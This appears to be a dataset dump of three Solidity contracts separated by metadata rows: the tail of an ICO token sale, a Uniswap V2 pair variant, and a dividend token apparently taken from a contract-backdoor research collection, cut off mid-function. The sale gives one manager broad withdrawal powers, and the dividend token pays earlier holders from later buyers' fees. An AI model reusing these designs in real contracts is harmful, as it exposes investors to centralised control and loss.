// only ICO contract is allowed to proceed
require(msg.sender == icoContract);
_;
}
/// @dev Contract is needed in icoContract address
/// @param _icoContract Address of account which will be mint tokens
function ExoTownToken(address _icoContract) {
require(_icoContract != 0x0);
icoContract = _icoContract;
}
/// @dev Burns tokens from address. It can be applied by account with address this.icoContract
/// @param _from Address of account, from which will be burned tokens
/// @param _value Amount of tokens, that will be burned
function burnTokens(address _from, uint _value) onlyIcoContract {
require(_value > 0);
balances[_from] = sub(balances[_from], _value);
totalSupply -= _value;
}
/// @dev Adds tokens to address. It can be applied by account with address this.icoContract
/// @param _to Address of account to which the tokens will pass
/// @param _value Amount of tokens
function emitTokens(address _to, uint _value) onlyIcoContract {
require(totalSupply + _value >= totalSupply);
balances[_to] = add(balances[_to], _value);
totalSupply += _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(0x0, _to, _value);
}
function getOwner(uint index) constant returns (address, uint) {
return (owners[index], balances[owners[index]]);
}
function getOwnerCount() constant returns (uint) {
return owners.length;
}
}
contract ExoTownIco is SafeMath, IcoLimits {
ExoTownToken public exotownToken;
enum State {
Pause,
Running
}
State public currentState = State.Pause;
uint public privateSaleSoldTokens = 0;
uint public preSaleSoldTokens = 0;
uint public publicSaleSoldTokens = 0;
uint public privateSaleEtherRaised = 0;
uint public preSaleEtherRaised = 0;
uint public publicSaleEtherRaised = 0;
// Address of manager
address public icoManager;
address public founderWallet;
// Address from which tokens could be burned
address public buyBack;
// Purpose
address public developmentWallet;
address public marketingWallet;
address public teamWallet;
address public bountyOwner;
// Mediator wallet is used for tracking user payments and reducing users' fee
address public mediatorWallet;
bool public sentTokensToBountyOwner = false;
bool public sentTokensToFounders = false;
modifier whenInitialized() {
// only when contract is initialized
require(currentState >= State.Running);
_;
}
modifier onlyManager() {
// only ICO manager can do this action
require(msg.sender == icoManager);
_;
}
modifier onIco() {
require(isPrivateSale() || isPreSale() || isPublicSale());
_;
}
modifier hasBountyCampaign() {
require(bountyOwner != 0x0);
_;
}
function isPrivateSale() constant internal returns (bool) {
return now >= privateSaleStart && now <= privateSaleEnd;
}
function isPreSale() constant internal returns (bool) {
return now >= presaleStart && now <= presaleEnd;
}
function isPublicSale() constant internal returns (bool) {
return now >= publicSaleStart && now <= publicSaleEnd;
}
function getPrice() constant internal returns (uint) {
if (isPrivateSale()) return privateSalePrice;
if (isPreSale()) return preSalePrice;
if (isPublicSale()) return publicSalePrice;
return publicSalePrice;
}
function getStageSupplyLimit() constant returns (uint) {
if (isPrivateSale()) return privateSaleSupplyLimit;
if (isPreSale()) return preSaleSupplyLimit;
if (isPublicSale()) return publicSaleSupplyLimit;
return 0;
}
function getStageSoldTokens() constant returns (uint) {
if (isPrivateSale()) return privateSaleSoldTokens;
if (isPreSale()) return preSaleSoldTokens;
if (isPublicSale()) return publicSaleSoldTokens;
return 0;
}
function addStageTokensSold(uint _amount) internal {
if (isPrivateSale()) privateSaleSoldTokens = add(privateSaleSoldTokens, _amount);
if (isPreSale()) preSaleSoldTokens = add(preSaleSoldTokens, _amount);
if (isPublicSale()) publicSaleSoldTokens = add(publicSaleSoldTokens, _amount);
}
function addStageEtherRaised(uint _amount) internal {
if (isPrivateSale()) privateSaleEtherRaised = add(privateSaleEtherRaised, _amount);
if (isPreSale()) preSaleEtherRaised = add(preSaleEtherRaised, _amount);
if (isPublicSale()) publicSaleEtherRaised = add(publicSaleEtherRaised, _amount);
}
function getStageEtherRaised() constant returns (uint) {
if (isPrivateSale()) return privateSaleEtherRaised;
if (isPreSale()) return preSaleEtherRaised;
if (isPublicSale()) return publicSaleEtherRaised;
return 0;
}
function getTokensSold() constant returns (uint) {
return
privateSaleSoldTokens +
preSaleSoldTokens +
publicSaleSoldTokens;
}
function getEtherRaised() constant returns (uint) {
return
privateSaleEtherRaised +
preSaleEtherRaised +
publicSaleEtherRaised;
}
/// @dev Constructor of ICO. Requires address of icoManager,
/// @param _icoManager Address of ICO manager
function ExoTownIco(address _icoManager) {
require(_icoManager != 0x0);
exotownToken = new ExoTownToken(this);
icoManager = _icoManager;
}
/// Initialises addresses of founder, target wallets
/// @param _founder Address of Founder
/// @param _dev Address of Development wallet
/// @param _pr Address of Marketing wallet
/// @param _team Address of Team wallet
/// @param _buyback Address of wallet used for burning tokens
/// @param _mediator Address of Mediator wallet
function init(address _founder,
address _dev,
address _pr,
address _team,
address _buyback,
address _mediator) onlyManager {
require(currentState == State.Pause);
require(_founder != 0x0);
require(_dev != 0x0);
require(_pr != 0x0);
require(_team != 0x0);
require(_buyback != 0x0);
require(_mediator != 0x0);
founderWallet = _founder;
developmentWallet = _dev;
marketingWallet = _pr;
teamWallet = _team;
buyBack = _buyback;
mediatorWallet = _mediator;
currentState = State.Running;
exotownToken.emitTokens(icoManager, 0);
}
/// @dev Sets new state
/// @param _newState Value of new state
function setState(State _newState) public onlyManager {
currentState = _newState;
}
/// @dev Sets new manager. Only manager can do it
/// @param _newIcoManager Address of new ICO manager
function setNewManager(address _newIcoManager) onlyManager {
require(_newIcoManager != 0x0);
icoManager = _newIcoManager;
}
/// @dev Sets bounty owner. Only manager can do it
/// @param _bountyOwner Address of Bounty owner
function setBountyCampaign(address _bountyOwner) onlyManager {
require(_bountyOwner != 0x0);
bountyOwner = _bountyOwner;
}
/// @dev Sets new Mediator wallet. Only manager can do it
/// @param _mediator Address of Mediator wallet
function setNewMediator(address _mediator) onlyManager {
require(_mediator != 0x0);
mediatorWallet = _mediator;
}
/// @dev Buy quantity of tokens depending on the amount of sent ethers.
/// @param _buyer Address of account which will receive tokens
function buyTokens(address _buyer) private {
require(_buyer != 0x0);
require(msg.value > 0);
uint tokensToEmit = msg.value * getPrice();
uint volumeBonusPercent = volumeBonus(msg.value);
if (volumeBonusPercent > 0) {
tokensToEmit = mul(tokensToEmit, 100 + volumeBonusPercent) / 100;
}
uint stageSupplyLimit = getStageSupplyLimit();
uint stageSoldTokens = getStageSoldTokens();
require(add(stageSoldTokens, tokensToEmit) <= stageSupplyLimit);
exotownToken.emitTokens(_buyer, tokensToEmit);
// Public statistics
addStageTokensSold(tokensToEmit);
addStageEtherRaised(msg.value);
distributeEtherByStage();
}
/// @dev Buy tokens to specified wallet
function giftToken(address _to) public payable onIco {
buyTokens(_to);
}
/// @dev Fall back function
function () payable onIco {
buyTokens(msg.sender);
}
function distributeEtherByStage() private {
uint _balance = this.balance;
uint _balance_div = _balance / 100;
uint _devAmount = _balance_div * 65;
uint _prAmount = _balance_div * 25;
uint total = _devAmount + _prAmount;
if (total > 0) {
// Top up Mediator wallet with 1% of Development amount = 0.65% of contribution amount.
// It will cover tracking transaction fee (if any).
uint _mediatorAmount = _devAmount / 100;
mediatorWallet.transfer(_mediatorAmount);
developmentWallet.transfer(_devAmount - _mediatorAmount);
marketingWallet.transfer(_prAmount);
teamWallet.transfer(_balance - _devAmount - _prAmount);
}
}
/// @dev Partial withdraw. Only manager can do it
function withdrawEther(uint _value) onlyManager {
require(_value > 0);
require(_value * 1000000000000000 <= this.balance);
// send 1234 to get 1.234
icoManager.transfer(_value * 1000000000000000); // 10^15
}
function sendTokensToBountyOwner() onlyManager whenInitialized hasBountyCampaign afterPublicSale {
require(!sentTokensToBountyOwner);
//Calculate bounty tokens depending on total tokens sold
uint bountyTokens = getTokensSold() / 40; // 2.5%
exotownToken.emitTokens(bountyOwner, bountyTokens);
sentTokensToBountyOwner = true;
}
/// @dev Send tokens to founders. Can be sent only after May 20th, 2019.
function sendTokensToFounders() onlyManager whenInitialized afterPublicSale {
require(!sentTokensToFounders);
require(now >= foundersTokensUnlock);
//Calculate founder reward depending on total tokens sold
uint founderReward = getTokensSold() / 10; // 10%
exotownToken.emitTokens(founderWallet, founderReward);
sentTokensToFounders = true;
}
// Anyone could burn tokens by sending it to buyBack address and calling this function.
function burnTokens(uint _amount) afterPublicSale {
exotownToken.burnTokens(buyBack, _amount);
}
}
| 220,345 | 547 |
c615b1f21f40a49ba87bb8bb400a501fbe4b492e4b7fa93a8ab1eb5b77a7fa2e
| 19,044 |
.sol
|
Solidity
| false |
371148972
|
Impermax-Finance/staked-lp-token
|
9d43c0ee089921fb3dddfb1412225d5d06284e7e
|
contracts/uniswap/UniswapV2Pair.sol
| 4,981 | 17,749 |
// File: contracts/uniswapv2/libraries/SafeMath.sol
pragma solidity 0.5.16;
library SafeMathUniswap {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
contract UniswapV2ERC20 {
using SafeMathUniswap for uint256;
string public constant name = " LP Token";
string public constant symbol = "LP";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
event Approval(address indexed owner,
address indexed spender,
uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner,
address spender,
uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from,
address to,
uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external {
require(deadline >= block.timestamp, "UniswapV2: EXPIRED");
bytes32 digest =
keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner,
"UniswapV2: INVALID_SIGNATURE");
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20Uniswap {
event Approval(address indexed owner,
address indexed spender,
uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0,
address indexed token1,
address pair,
uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface IUniswapV2Callee {
function uniswapV2Call(address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data) external;
}
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
contract UniswapV2Pair is UniswapV2ERC20 {
using SafeMathUniswap for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR =
bytes4(keccak256(bytes("transfer(address,uint256)")));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "UniswapV2: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token,
address to,
uint256 value) private {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))),
"UniswapV2: TRANSFER_FAILED");
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to);
event Swap(address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, "UniswapV2: FORBIDDEN"); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1),
"UniswapV2: OVERFLOW");
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast +=
uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) *
timeElapsed;
price1CumulativeLast +=
uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) *
timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1)
private
returns (bool feeOn)
{
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint256 balance0 = IERC20Uniswap(token0).balanceOf(address(this));
uint256 balance1 = IERC20Uniswap(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
address migrator = IUniswapV2Factory(factory).migrator();
if (msg.sender == migrator) {
liquidity = IMigrator(migrator).desiredLiquidity();
require(liquidity > 0 && liquidity != uint256(-1),
"Bad desired liquidity");
} else {
require(migrator == address(0), "Must not have migrator");
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0,
amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, "UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to)
external
lock
returns (uint256 amount0, uint256 amount1)
{
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
uint256 balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0,
"UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED");
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0,
"UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT");
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1,
"UniswapV2: INSUFFICIENT_LIQUIDITY");
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "UniswapV2: INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0)
IUniswapV2Callee(to).uniswapV2Call(msg.sender,
amount0Out,
amount1Out,
data);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
}
uint256 amount0In =
balance0 > _reserve0 - amount0Out
? balance0 - (_reserve0 - amount0Out)
: 0;
uint256 amount1In =
balance1 > _reserve1 - amount1Out
? balance1 - (_reserve1 - amount1Out)
: 0;
require(amount0In > 0 || amount1In > 0,
"UniswapV2: INSUFFICIENT_INPUT_AMOUNT");
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000**2),
"UniswapV2: K");
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0,
to,
IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1,
to,
IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20Uniswap(token0).balanceOf(address(this)),
IERC20Uniswap(token1).balanceOf(address(this)),
reserve0,
reserve1);
}
}
| 225,647 | 548 |
de3c94ef02f70fa5d3ee12578a117e59e0d8a4fc259d5ed3be129c82da2a1843
| 12,764 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x7b052aeabcde808bdec4935c0478ec220cc46375.sol
| 3,283 | 11,887 |
pragma solidity ^0.4.25;
contract RevertedMatryoshka {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "RevertedMatryoshka";
string public symbol = "REM";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address (this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
